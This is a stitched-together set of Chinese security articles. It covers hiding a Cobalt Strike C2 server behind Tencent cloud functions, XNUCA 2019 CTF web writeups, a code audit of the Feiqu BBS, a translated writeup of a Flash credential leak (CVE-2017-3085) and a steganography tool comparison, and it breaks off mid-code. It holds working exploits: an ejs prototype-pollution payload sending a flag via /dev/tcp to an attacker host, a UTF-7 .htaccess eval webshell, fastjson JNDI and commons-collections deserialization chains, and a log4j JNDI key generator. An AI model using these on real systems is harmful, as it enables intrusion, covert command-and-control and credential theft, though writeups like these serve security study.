header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
* 创建完成后，把证书和profile文件rz扔到cs文件夹，使用./teamserver vpsip password c2.profile 加载profile启动cs，下面这样就是启动成功
* 本地客户端连接，创建监听， **第三个坑，这里只能创建80和443端口的监听，因为我们的流量是通过云函数进来的，云函数只支持80和443，这里的监听实际上是中间人云函数的监听地址和端口，如果云函数C2地址配的是http就开80监听；https就开443，https方式监听**
* 打开cs web日志，访问云函数api的443端口，发现cs的日志出现流量
出现腾讯云流量，至此云函数已经配置成功
## * 测试
* 这儿没做cs马的免杀，关了defender（被干的太惨了），选择https的监听方式，直接上线，sleep调到0发现监听ip会一直变动，配置生效
## * 总结
* 云函数隐藏C2原理
马 -> 腾讯云函数api -> py函数 -> CS服务端
CS马被执行后，流量直接走向腾讯云的api（也就是这一步达成了隐藏C2服务端的目的，腾讯地址，有腾讯的CDN），然后py函数会根据传入的流量作为中间人对CS服务端进行请求，并获取返回结果后返回请求获取的数据信息（py代码的请求内容和CS服务端加载的profile是相对应的，CS服务端根据py函数传入的数据来获取相关信息） | 社区文章 |
# XNUCA 2019 Qualifier的两个web题目writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 上个周末打了一下XNUCA，可以说这是打CTF以来难度最高的一个比赛，全场交的flag不到100个也是十分真实，膜精心准备这次比赛的NESE的大师傅们。这里贴一下我们队（Security_Union_Of_SEU）做出来的两个web题目的writeup与题目分析。
## HardJS
### 我们的解法
拿到一个nodejs项目的源码进行审计，第一步便是运行`npm audit` ，可以看到依赖项的漏洞情况。
可以看到依赖项`lodash`存在原型链污染漏洞，即`CVE-2019-10744`.
我们查看一下项目的js源码，看看哪里调用了lodash.在查看消息的请求处理中我们可以看到当消息数量大于5时将会调用`lodash.defaultsDeep`来合并消息
根据`CVE-2019-10744`的信息，我们知道我们只需要有消息为
{"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}
在合并时便会在`Object`上附加`a=b`这样一个属性，任意不存在a属性的原型为Object的对象在访问其`a`属性时均会获取到`b`属性。那么这个污染究竟会起到什么样的效果？
查看项目源码，可以知道该项目使用`ejs`库作为模版引擎，众所周知`ejs`作为一个模版引擎肯定少不了类似`eval`的操作用于解析一些数据。因此我们便可以去跟一下ejs的实现看看哪里有潜在的可以收到原型链污染的调用，这里我们可以找到两处可用的地方
#### pollution one
在577行可以看到很大的一片调用全是为了动态拼接一个js语句，这里我们可以注意到当`opts`存在属性`outputFunctionName`时,该属性`outputFunctionName`便会被直接拼接到这段js中。
往下跟一下可以看到这段js的具体调用位置
可以看到这段代码最后生成了一个动态的函数，且源码中正含有上述的`append`.所以我们的思路就很清晰了，只要覆盖了`opts.outputFunctionName`即可触发模版编译处的RCE.
最后我们的payload如下：
{"type":"mmp","content":{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c "echo $FLAG>/dev/tcp/xxxxx/xx"')//"}}}}
只要提交这样的信息并触发合并操作，访问任意页面即可将flag发送到我们的后端。
#### pollution two
除了这里的`outputFunctionName`外我们也可以覆盖`opts.escapeFunction`来实现RCE，具体源码关键点对应如下
### 预期解
赛后看了NESE大佬的官方writeup,则利用了前端和后端两个原型链污染的点，后端原型链污染用于绕过登录验证越权登录admin,覆盖`login`与`userid`即可
而前端的原型链污染则是由于调用了`$.extend`方法
所有的消息都被加入了no-js，我们再看看页面是怎么渲染的
Header/notice/wiki/button/message的地方都处在沙箱中，无法XSS，我们再看看页面
可以看到我们只要通过原型链污染添加logger属性，即可覆盖logger的内容从而导致XSS。为了打到flag只需要让页面跳转到一个我们设置的伪造的登录窗口即可。
这道题目预期解将前后端的原型链污染结合利用，可以说是十分精妙的一道题目。
## ezPHP
源码很简单(感觉越简单的源码越不好搞)，一个写文件的功能且只能写文件名为`[a-z.]*`
的文件，且文件内容存在黑名单过滤，并且结尾被加上了一行，这就导致我们无法直接写入`.htaccess`里面`auto_prepend_file`等php_value。
### 我们的解法
经测试，最后一行导致的`.htaccess`报错的问题可以通过`# `来解决。
该文件中有一处`include('fl3g,php')`,该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么`.htaacess`
的选项可以利用？
翻一下php的官方文档[php.ini配置选项列表](https://www.php.net/manual/zh/ini.list.php)，查找所有可修改范围为`PHP_INI_ALL`即`PHP_INI_PERDIR`的配置项，我们可以注意到这样一个选项`include_path`.
因此只要控制`include_path`便可以使这里include进来的`fl3g.php`可以是任意目录下的某个文件，那么怎样才能控制`fl3g.php`的内容?查找所有php
log相关的功能可以看到`error_log`这一选项
所以我们的思路便很清晰了：利用error_log写入log文件到`/tmp/fl3g.php`，再设置`include_path=/tmp`即可让index.php能够包含我们想要的文件。这里的报错可以通过设置`include_path`到一个不存在的文件夹即可触发包含时的报错，且include_path的值也会被输出到屏幕上。
然而很不幸的是error_log的内容默认是`htmlentities`的,我们无法插入类似`<?php
phpinfo();?>`的payload。那么怎么才能绕过这里的转义？
查找最近的比赛我们可以发现一篇writeup[Insomnihack 2019 I33t-hoster](//github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md))
这便给了我们启示可以通过设置编码来绕过限制从而getshell.
因此最后的攻击方法如下：
* Step1 写入`.htaccess` error_log相关的配置
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#
* Step2 访问index.php留下error_log
* Step3 写入.htaccess新的配置
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#
* Step4 再访问一次`index.php?2=evilcode`即可getshell.
### 其他非预期解
赛后得知我们的解法是全场唯一的正解，此外还存在两个非预期
#### 非预期1
设置pcre的一些选项可以导致文件名判断失效，从而直接写入`fl3g.php`
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
### 非预期2
只能说这个非预期为啥我没有想到
php_value auto_prepend_fi
le ".htaccess"
# <?php phpinfo();?>
## 总结
以上便是我们这次XNUCA
web部分的writeup，质量非常高的一场比赛，感谢NESE的大佬们。希望国内能多一些这样质量高的CTF，少一些诸如某空间之类的垃圾比赛，也希望CTF圈选手们以后都能`洁身自好`杜绝py现象。 | 社区文章 |
## 环境部署
飞趣 BBS 在 gitee 可以下载到源码，它是由 SpringBoot 搭建，根据 README.md 搭建到 IDEA 即可
## 目录结构
很奇怪的布局，大概看了一下只有 feiqu-front 存在控制器，其他目录都是一些辅助性的东西
## 第三方组件漏洞审计
### fastjson：1.2.28
该版本存在反序列化漏洞，可以使用 FastJson1.2.47 通杀 Payload，在项目中创建三个文件验证是否能够利用
JNDIPayload.java
import java.io.IOException;
public class JNDIPayload {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
}
}
}
JNDIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit",
"JNDIPayload",
"http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
JNDIClient.java
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] args){
String text =
"{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"rmi://127.0.0.1:1099/Exploit\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
JSON.parseObject(text);
}
}
开启 python http 服务让 JNDIServer 可以访问到 JNDIPayload.class，然后启动 JNDIServer，最后运行
JNDIClient，成功触发了 FastJson 反序列化漏洞
那么接下来要寻找参数可控的 JSON.parseObject 或 JSON.parse
找到一处可能参数可控的位置，路由是 /u/{uid}/home ，开始调试，发现没有执行到 JSON.parseObject 因为
redisString.get() 返回的数据为 null ，CommonConstant.THOUGHT_TOP_LIST 为
thought_top_list 也就是 redis 的 key，看一下 redis 在哪设置这个 key 的
有 redisString.get() 那么就有 redisString.set()，找到了，可以看到置顶的 "想法" 会被设置到 redis
thought_top_list 的值
置顶一条 "想法"，再次访问 /u/3/home，在源码中写多了一行 `String test = redisString.get();` 方便查看从
redis 获取的数据，可以看到值虽然获取到了，但是不可控，那么 fastjosn 无法利用
### JAVA 反序列化漏洞
commons-collections-3.2.1.jar 反序列化漏洞，很经典了，还有其他组件也存在漏洞，这里就列举这一个吧，老规矩在项目中验证一下
没问题可以使用
CcSerial.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CcSerial {
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry mapEntry = new TiedMapEntry(outerMap, null);
Map expMap = new HashMap();
expMap.put(mapEntry, null);
setFieldValue(chainedTransformer, "iTransformers", transformers);
innerMap.clear();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(barr);
out.writeObject(expMap);
out.close();
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
in.readObject();
in.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
寻找反序列化利用点，查找 readObject，可以看到只有一处，并且没有调用该方法的地方，这次又是无功而返
### log4j-core-2.11.2
log4j 这个版本是存在 JNDI 注入的，先在项目中验证一下，可以看到漏洞是可利用的
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4j.class);
logger.error("${jndi:ldap://rzepki.dnslog.cn}");
}
}
寻找漏洞利用点，搜索有没有存在参数可控的 logger.error，在
`com\feiqu\web\controller\UserController.java` 找到一处，可以看到拼接了 username
分析一下 UserController.java#resetPass，首先 key、password、verifyCode 是必不可少的，我们传入的 key
会被 [1] 进行解密，然后在 [2] 给 username 赋值
secret 为 cwd22，在创建 DESUtils 时作为构造方法的参数，decryptString 会对传入的 key 做 base64 解码，然后
DES 解密
我们使用 encryptString 方法加密 log4j 的 Exp 就可以了，在本地开启 JNDI 注入工具 [JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit "JNDI-Injection-Exploit")
以下脚本用于生成恶意 key
public static void main(String[] args) throws Exception {
Key key = null;
// 指定DES加密解密所用的密钥
String keyStr = "cwd22";
String desKey = Base64.encode(keyStr.getBytes("UTF-8"));
DESKeySpec objDesKeySpec = new DESKeySpec(desKey.getBytes("UTF-8"));
SecretKeyFactory objKeyFactory = SecretKeyFactory.getInstance("DES");
key = objKeyFactory.generateSecret(objDesKeySpec);
String str = "${jndi:ldap://127.0.0.1:1389/riv58u}";
// 对字符串进行DES加密，返回BASE64编码的加密字符串
byte[] bytes = str.getBytes();
Cipher cipher = Cipher.getInstance("DES");
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encryptStrBytes = cipher.doFinal(bytes);
String s = Base64.encode(encryptStrBytes);
System.out.println(s);
}
构造好各个参数提交请求成功弹出计算器
调试一下，可以看到因为找不到 userInfo[1] 而报错
## 结语
可谓是一波三折，本人学艺不精，如果有其他利用点还请师傅们指教 | 社区文章 |
# 【技术分享】在远程沙箱中自由翱翔：Adobe Flash Windows用户凭据泄漏漏洞
|
##### 译文声明
本文是翻译文章，文章来源：bjornweb.nl
原文地址：<https://blog.bjornweb.nl/2017/08/flash-remote-sandbox-escape-windows-user-credentials-leak/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
最近一段时间，我发表了关于Flash沙箱逃逸漏洞的一篇[ **文章**](https://blog.bjornweb.nl/2017/02/flash-bypassing-local-sandbox-data-exfiltration-credentials-leak/) ，最终导致已存活十多年的Flash
Player本地安全沙箱寿终正寝。
之前的这个漏洞向我们展示了对输入数据进行正确性验证的重要性。攻击者只需要向运行时的Flash输入混合的UNC以及文件URI，就足以[
**提取本地数据**](https://blog.bjornweb.nl/2017/02/flash-bypassing-local-sandbox-data-exfiltration-credentials-leak/#whats-in-a-scheme-exfiltrating-local-data)
，并可以将[ **Windows用户凭证**](https://blog.bjornweb.nl/2017/02/flash-bypassing-local-sandbox-data-exfiltration-credentials-leak/#smb-at-play-leaking-windows-user-credentials) 发往远程SMB服务器。
Flash Player在23版本中移除了本地文件系统（local-with-filesystem）沙箱，从本地角度来看，这样处理有效解决了这两个问题。然而非常有趣的是，官方的[
**发行注记**](https://forums.adobe.com/thread/2209269) 中忽略了剩下的两个沙箱：本地网络（local-with-networking）沙箱以及远程（remote）沙箱。因此我想了解这两个沙箱的问题是否得到了修复。
实际上，根据最初的测试结果，Flash会拒绝任何UNC或者文件形式的路径。这两个沙箱似乎都不会接受任何非HTTP形式的URL。因此，这就带来一个非常有趣的问题：如果我们能以另一种方法来绕过这个限制呢？我们能否在通过输入验证后，修改输入表达式的含义呢？
简而言之，Adobe
Flash可能会受到某个已知Windows漏洞的影响。虽然我们可以通过运行时的安全解决方案来削弱该漏洞所能造成的影响，但这些安全方案原本是用于不同的目的，因此还是可以被针对性地绕过。因此，我们可以绕过Flash
Player新引入的输入验证机制，让攻击者恢复获取Windows用户凭证的能力。
本文分析了我最近向Adobe报告的一个安全漏洞，Adobe对该漏洞的编号为[
**APSB17-23**](https://helpx.adobe.com/security/products/flash-player/apsb17-23.html) ，对应的CVE编号为[
**CVE-2017-3085**](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3085) 。
**二、HTTP重定向问题**
****
再次重申一下，之前那个漏洞利用的关键点是将我们的恶意Flash应用连接到我们的SMB服务器上。在不对客户端进行身份认证的前提下，通过拒绝客户端的访问请求，服务器可以使得Windows客户端向其发送用户的凭证信息。
Adobe似乎非常了解这种攻击方法。之前版本的Flash会从所有SMB服务器上加载资源，但在23版中，Flash会拒绝掉任何UNC以及文件形式的路径，这两种路径是SMB主机的表示方法。现在许多路径会被Flash拒绝掉，如\10.0.0.1somefile.txt路径，以及等效的file://///10.0.0.1/some/file.txt路径。
然而，我们可以根据微软提供的URI列表，构造各种富有创造力的URL，但依然无法获得任何突破。在这两个沙箱中，不论哪个沙箱的URLLoader似乎都不会接受没有使用HTTP或者HTTPS作为前缀的那些路径。看上去Adobe似乎使用白名单机制来加固他们的产品。
这种情况下，如果我们可以在通过输入验证后，修改请求路径，那么会发生什么事情呢？根据前面的分析，我们必须使用HTTP形式的地址，因此我们需要利用HTTP重定向功能来访问SMB主机。
幸运的是，SMB以及HTTP还是可以组合在一起的。首先映入我脑海的就是一个Windows漏洞，名为[ **重定向到SMB（Redirect-to-SMB）漏洞**](https://blog.bjornweb.nl/2017/02/flash-bypassing-local-sandbox-data-exfiltration-credentials-leak/#by-definition-not-so-local)
。通过设置HTTP头部中的Location信息，以及提供一个适当的响应代码（比如301或者302代码），攻击者就可以利用这个漏洞将HTTP请求重定向到一个恶意的SMB服务器。攻击场景如下图所示：
**三、漏洞复现**
在我们的攻击场景中，恶意Flash应用以及SMB服务器都托管于一台主机上，主机IP地址为23.100.122.2。这个Flash应用会运行在受害者本地主机的远程（remote）沙箱中。也就是说，Flash运行时会阻止访问本地文件系统，但允许远程连接。
跟踪Win32 API后，我们发现受Redirect-to-SMB漏洞影响的[
**函数**](https://www.kb.cert.org/vuls/id/672268) 位于urlmon.dll中。因此，Internet
Explorer以及任何使用IE浏览器的第三方应用都会受到该漏洞影响。
这个漏洞吸引了许多媒体的关注，很多厂商发布了修复补丁来修复他们的产品。那么，Adobe Flash的表现如何呢？我们可以尝试重定向某个出站请求GET
/somefile.txt，结果如下所示：
#2032错误代码是Flash用来表示流错误（Stream
Error）的代码。根据之前的研究成果，我们知道除了#2048代码以外，其他代码都可以用来表示成功状态。我们来看看实际出现了什么情况：
额，看起来Flash Player并没有受到任何影响：我们返回的HTTP/1.1
302响应没有触发SMB流量。然而，我们注意到，抓取的报文中出现一个GET报文请求crossdomain.xml。这个文件是跨域策略的[
**配置文件**](http://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html)
，当Flash客户端被允许从另一个域中加载资源时就会涉及到这个文件。比如，如果没有经过domain-b.com的明确许可，那么托管在domain-a.com上的Flash应用就不会加载domain-b.com上的图片。
细心的读者可能会注意到Adobe的有关定义，与[ **HTTP
CORS**](https://www.w3.org/TR/cors/#terminology) （读者可以阅读[
**RFC6454**](https://tools.ietf.org/html/rfc6454#section-5)
了解更多细节）不同的是，Adobe会将自身限制在跨域（cross-domain）数据处理上。更具体地说，Adobe不会去考虑不同协议的区分问题。因此，我们的攻击被阻止应该与这种安全机制无关：因为我们正在尝试重定向到SMB，这是同一主机上的不同协议。
有趣的是，根据Wireshark的记录，我们发现应用正在请求某台主机上的crossdomain.xml，而这台主机正是运行Flash应用的同一台主机。因此，我们可以来构造一个最为宽松的跨域策略。根据Adobe开发者指南中的语法，我们构造的策略如下：
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
最后，我们重新加载我们的Flash应用，观察执行情况：
成功了！我们最终建立了从受害主机（23.100.122.3）到我们的远程服务器（23.100.122.2）的SMB连接。此时此刻，我们只需要重复我们之前做的[
**工作**](https://blog.bjornweb.nl/2017/02/flash-bypassing-local-sandbox-data-exfiltration-credentials-leak/#smb-at-play-leaking-windows-user-credentials)
就可以了。我们可以使用一个名为SMBTrap的脚本来承担我们恶意SMB服务器的角色，用来捕捉传入的任何请求，其中也包括受害者的用户凭证信息：
**四、受影响的环境**
有趣的是，与上一个漏洞相比，Edge以及Chrome浏览器并不会受到这个漏洞影响（这些浏览器都启用了Flash功能）。尽管这两个浏览器都存在类似的行为，比如跨域策略文件的请求行为，但两者貌似都会阻止Flash连接到SMB主机。
也就是说，Firefox以及Internet Explorer会受到漏洞影响。同时这也会影响到当前Microsoft
Office的所有版本。此外，这个漏洞同时会影响远程（remote）以及本地网络（local-with-networking）沙箱。
**五、总结**
在引入新的输入验证机制后，Flash Player 23就已经通过拒绝任何非HTTP
URL形式的出站请求，来尽可能地降低潜在的攻击方法的成功率。然而，非常意外的是，Adobe只做了一次输入验证过程：即只检查初始的HTTP请求是否有效，没有检查后续的重定向请求是否有效。同时因为Flash仍然会受到某个已知的Windows漏洞的影响，因此结合这个事实，我们就能绕过看起来坚不可摧的防御机制。这是非常不幸的一件事情，也许通过这件事情，我们会意识到在必要的时候还是应该考虑特定平台漏洞所会造成的潜在危害。
Flash Player 26.0.0.151修复了这个问题，我们可以通过Windows Update或者Adobe的[
**官网**](https://get.adobe.com/flashplayer/) 下载新的版本。
**六、附录**
**6.1 受影响的主机环境**
Firefox
Internet Explorer
Microsoft Office 2010、2013以及2016
**6.2 受影响的平台**
Flash Player 23.0.0.162到26.0.0.137
Windows XP、Vista、7、8.x以及10
**6.3 时间线**
11-02-2017：向趋势科技零日倡议项目报告漏洞。
21-04-2017：ZDI承认该漏洞，并分配编号ZDI-17-634。
05-06-2017：请求状态更新。Adobe回复他们会于2017年7月发布Flash Player 26，修复这个漏洞。
12-07-2017：请求状态更新。Adobe回复他们仍在做修复工作，新版与预期于2017年8月份发布。
08-08-2017：Adobe在Flash Player 26.0.0.151中修复了这个漏洞。
08-08-2017：漏洞信息公布。
**6.4 参考资料**
[Adobe Security Bulletin
APSB17-23](https://helpx.adobe.com/security/products/flash-player/apsb17-23.html)
[CVE-2017-3085](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3085)
[ZDI-17-634](http://www.zerodayinitiative.com/advisories/ZDI-17-634/)
[Threatpost – Patched Flash Player Sandbox Escape Leaked Windows
Credentials](https://threatpost.com/patched-flash-player-sandbox-escape-leaked-windows-credentials/127378/)
[Security.NL – Radboud-student ontdekt opnieuw lek in Adobe Flash
Player](https://www.security.nl/posting/527299/Radboud-student+ontdekt+opnieuw+lek+in+Adobe+Flash+Player)
[ComputerBild – Adobe Patchday: Updates gegen über 80
Sicherheitslücken](http://www.computerbild.de/artikel/cb-Aktuell-Software-Adobe-Sicherheits-Update-Flash-Player-7408005.html)
[WCCFTech – Adobe Addresses Several Vulnerabilities in Flash Player, Acrobat
Reader](http://wccftech.com/adobe-bugs-flash-player-acrobat-reader/)
[SecurityWeek – Adobe Patches 69 Flaws in Flash, Reader,
Acrobat](http://www.securityweek.com/adobe-patches-69-flaws-reader-acrobat)
[Blorge – Adobe Flash Player and Acrobat Reader Security
Updates](https://tech.blorge.com/2017/08/10/adobe-flash-player-and-acrobat-reader-security-updates/161970)
[SecurityTracker – Adobe Flash Player Bugs Let Remote Users Obtain Potentially
Sensitive Information and Execute Arbitrary
Code](http://www.securitytracker.com/id/1039088) | 社区文章 |
# LSB隐写工具对比（Stegsolve与zsteg）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 起因
很久很久以前，有一道送分题没做出来，后来看writeup，只要zsteg就行了。
命令运行的结果
root@LAPTOP-GE0FGULA:/mnt/d# zsteg 瞅啥.bmp
[?] 2 bytes of extra data after image end (IEND), offset = 0x269b0e
extradata:0 .. ["x00" repeated 2 times]
imagedata .. text: ["r" repeated 18 times]
b1,lsb,bY .. <wbStego size=120, ext="x00x8ExEE", data="x1EfxDEx9ExF6xAExFAxCEx86x9E"..., even=false>
b1,msb,bY .. text: "qwxf{you_say_chick_beautiful?}"
b2,msb,bY .. text: "i2,C8&k0."
b2,r,lsb,xY .. text: "UUUUUU9VUUUUUUUUUUUUUUUUUUUUUU"
b2,g,msb,xY .. text: ["U" repeated 22 times]
b2,b,lsb,xY .. text: ["U" repeated 10 times]
b3,g,msb,xY .. text: "V9XDR\d@"
b4,r,lsb,xY .. file: TIM image, Pixel at (4353,4112) Size=12850x8754
b4,g,lsb,xY .. text: "3"""""3###33##3#UDUEEEEEDDUETEDEDDUEEDTEEEUT#!"
b4,g,msb,xY .. text: """""""""""""""""""""DDDDDDDDDDDD""""DDDDDDDDDDDD*LD"
b4,b,lsb,xY .. text: "gfffffvwgwfgwwfw"
b1,msb,bY读取到的flag，看的一脸懵逼，msb是啥？不是lsb隐写么？bY的b又是啥？我用stegsolve怎么没找到flag？
## 结论
两个工具的一些参数在理解上有点疑问，因此查看了源码。
Stegsolve的Data Extract功能，Bit Order选项MSBFirst和LSBFirst的区别，这个在扫描顺序中说明
zsteg不理解参数更多
`-c`：rgba的组合理解，r3g2b3则表示r通道的低3bit，g通道2bit,r通道3bit，如果设置为rbg不加数字的，则表示每个通道读取bit数相同，bit数有-b参数设置
`-b`：设置每个通道读取的bit数，从低位开始，如果不是顺序的低位开始，则可以使用掩码，比如取最低位和最高位，则可以-b 10000001或者-b
0x81
`-o`：设置行列的读取顺序，xy就是从上到下，从左到右，xy任意有大写的，表示倒序，不过栗子中有个bY令我费解，查看源码知道对于BMP的图片，可以不管通道，直接按字节读取，就是b的意思了，b再顺带表示x，也就是bY的顺序和xY是一样的，Yb和Yx的顺序是一样的，但是b这个的读取模式跟-c
bgr -o xY好像是一样的（因为看BMP图片通道排列顺序是BGR），不太理解专门弄个这个出来干嘛。
`--msb`和`--lsb`这个在组合顺序中说明
### 扫描顺序
**行列顺序**
先说下行列的扫描顺序
zsteg可以通过-o选项设置的8种组合（xy,xY,Xy,XY,yx,yX,Yx,YX）,个人认为常用的就xy和xY吧
Stegsolve只有选项设置Extract By Row or Column，对应到zsteg的-o选项上就是xy和yx
**字节顺序**
然后是字节上的扫描顺序，因为是读取的bit再拼接数据的，那么一个字节有8bit数据，从高位开始读还是从低位开始读的顺序
Stegsolve：字节上的读取顺序与`Bit Order`选项有关，如果设置了MSBFirst，是从高位开始读取，LSBFirst是从低位开始读取
zsteg：只能从高位开始读，比如-b
0x81，在读取不同通道数据时，都是先读取一个字节的高位，再读取该字节的低位。对应到Stegsolve就是MSBFirst的选项。
### 组合顺序
对于Stegsolve和zsteg，先读取到bit数据都是先拿出来组合的，每8bit组合成一个字节，按照最先存放的Bit在低地址理解的话。
zsteg的`--lsb`和`--msb`决定了组合顺序
`--lsb`：大端存放
`--msb`：小端存放
源码片段,a内存储的是读取的Bit数据，所以msb是低地址的是低位，因此是小端存放。
if a.size >= 8
byte = 0
if params[:bit_order] == :msb
8.times{ |i| byte |= (a.shift<<i)}
else
8.times{ |i| byte |= (a.shift<<(7-i))}
end
Stegsolve则是只有大端存放，即对应zsteg的—lsb，因为代码中有个extractBitPos变量，初始值是128，每组合1bit，就右移一次，到0后循环。
源码片段
private void addBit(int num)
{
if(num!=0)
{
extract[extractBytePos]+=extractBitPos;
}
extractBitPos>>=1;
if(extractBitPos>=1)
return;
extractBitPos=128;
extractBytePos++;
if(extractBytePos<extract.length)
extract[extractBytePos]=0;
}
## Stegsolve
了解一下Data Extract以及不同通道存储图片的隐写
### Data Extract
**功能简要说明**
面板
配置选项后，是通过`Preview`按钮进行数据的读取，因此直接跟进该按钮事件。
`Bit Planes`：选取通道要读取的bit位。
`Bit Plane Order`：一个像素值包含多个通道，不同通道的读取数据，Alpha一直是最先读的，然后会根据该项的配置决定读取顺序。
`Bit
Order`：读取数据时，每次仅读取1Bit，该项是控制读取一个通道字节数时，读取的方向，MSBFirst表示从高位读取到低位，LSBFirst表示从低位读取到高位。因此只有当通道勾选的Bit个数大于1时，该选项才会影响返回的结果。
**代码分析**
文件：`Extract.java`
按钮事件：
/**
* Generate the extract and generate the preview
* @param evt Event
*/
private void previewButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_previewButtonActionPerformed
generateExtract();
generatePreview();
}//GEN-LAST:event_previewButtonActionPerformed
跟进`generateExtract()`，存在内部调用，先列举了另外两个方法。
/**
* Retrieves the mask from the bits selected on the form
*/
/*读取Bit Planes的配置，图片getRGB会返回一个整型，如果存在alpha，那么范围最大值就是0xffffffff，从高位至低位，每一个字节按顺序对应为 A R G B，所以getMask就是获取要获取对应Bit的掩码，存为this.mask，this.maskbits记录是全部要读取的Bit数。
*/
private void getMask()
{
mask = 0;
maskbits = 0;
if(ab7.isSelected()) { mask += 1<<31; maskbits++;}
if(ab6.isSelected()) { mask += 1<<30; maskbits++;}
if(ab5.isSelected()) { mask += 1<<29; maskbits++;}
if(ab4.isSelected()) { mask += 1<<28; maskbits++;}
if(ab3.isSelected()) { mask += 1<<27; maskbits++;}
if(ab2.isSelected()) { mask += 1<<26; maskbits++;}
if(ab1.isSelected()) { mask += 1<<25; maskbits++;}
if(ab0.isSelected()) { mask += 1<<24; maskbits++;}
if(rb7.isSelected()) { mask += 1<<23; maskbits++;}
if(rb6.isSelected()) { mask += 1<<22; maskbits++;}
if(rb5.isSelected()) { mask += 1<<21; maskbits++;}
if(rb4.isSelected()) { mask += 1<<20; maskbits++;}
if(rb3.isSelected()) { mask += 1<<19; maskbits++;}
if(rb2.isSelected()) { mask += 1<<18; maskbits++;}
if(rb1.isSelected()) { mask += 1<<17; maskbits++;}
if(rb0.isSelected()) { mask += 1<<16; maskbits++;}
if(gb7.isSelected()) { mask += 1<<15; maskbits++;}
if(gb6.isSelected()) { mask += 1<<14; maskbits++;}
if(gb5.isSelected()) { mask += 1<<13; maskbits++;}
if(gb4.isSelected()) { mask += 1<<12; maskbits++;}
if(gb3.isSelected()) { mask += 1<<11; maskbits++;}
if(gb2.isSelected()) { mask += 1<<10; maskbits++;}
if(gb1.isSelected()) { mask += 1<<9; maskbits++;}
if(gb0.isSelected()) { mask += 1<<8; maskbits++;}
if(bb7.isSelected()) { mask += 1<<7; maskbits++;}
if(bb6.isSelected()) { mask += 1<<6; maskbits++;}
if(bb5.isSelected()) { mask += 1<<5; maskbits++;}
if(bb4.isSelected()) { mask += 1<<4; maskbits++;}
if(bb3.isSelected()) { mask += 1<<3; maskbits++;}
if(bb2.isSelected()) { mask += 1<<2; maskbits++;}
if(bb1.isSelected()) { mask += 1<<1; maskbits++;}
if(bb0.isSelected()) { mask += 1; maskbits++;}
}
/**
* Retrieve the ordering options from the form
*/
/* 读取Order setting的配置，主要就是rgbOrder的不同值对应的顺序
*/
private void getBitOrderOptions()
{
if(byRowButton.isSelected()) rowFirst = true;
else rowFirst = false;
if(LSBButton.isSelected()) lsbFirst = true;
else lsbFirst = false;
